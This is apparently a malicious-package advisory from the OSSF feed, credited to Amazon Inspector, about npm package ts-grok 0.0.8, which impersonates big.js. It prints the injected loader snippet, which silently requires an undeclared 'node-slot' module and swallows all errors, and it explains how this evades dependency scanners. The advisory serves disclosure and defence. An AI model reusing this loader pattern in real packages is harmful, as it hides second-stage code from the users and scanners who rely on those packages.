MAL-2026-6321
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d)
Package ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author 'Michael Mclaughlin', repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: try { const doc = require("node-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is 'block-slot' (^1.0.9), not 'node-slot' — the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever 'node-slot' resolves to in the installer's node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "big.js",
"sha256": "442c54a9b0beff03159cb7dd3a59ad1c09dbe09f0bcec91df0a33a032a2e4f99",
"tlsh": "c6c2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc"
},
{
"path": "package.json",
"sha256": "739334ffdefefe319046de805c6062f07e589edb4880a7f6153d8aa0efb7b3e5",
"tlsh": "b3210463c9a19da70af85b947c6c03aaf1161b1f04a05c5bb07b130c4b3355b2095b7d"
}
],
"package_integrity": [
{
"filename": "ts-grok-0.0.8.tgz",
"hashes": {
"sha1": "55fc69d040bbff102422d54f5ac62b4e80430a43",
"sha512_sri": "sha512-hXK5Xw/okq+3SASoi0qwX5MRlQUnwzsXjmaRODEO/v+auPfYbz89BWpeySigTC5LbUhkkhwVwKV+JDfqnBL1tQ=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "ts-grok"
},
"versions": [
"0.0.8"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-007267",
"import_time": "2026-06-23T16:54:13.236632759Z",
"modified_time": "2026-06-23T16:11:24Z",
"sha256": "a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d",
"source": "amazon-inspector",
"versions": [
"0.0.8"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d)\nPackage ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author \u0027Michael Mclaughlin\u0027, repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: `try { const doc = require(\"node-slot\"); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is \u0027block-slot\u0027 (^1.0.9), not \u0027node-slot\u0027 \u2014 the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever \u0027node-slot\u0027 resolves to in the installer\u0027s node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.\n",
"id": "MAL-2026-6321",
"modified": "2026-06-23T16:11:24Z",
"published": "2026-06-23T16:11:24Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/ts-grok/v/0.0.8"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in ts-grok (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.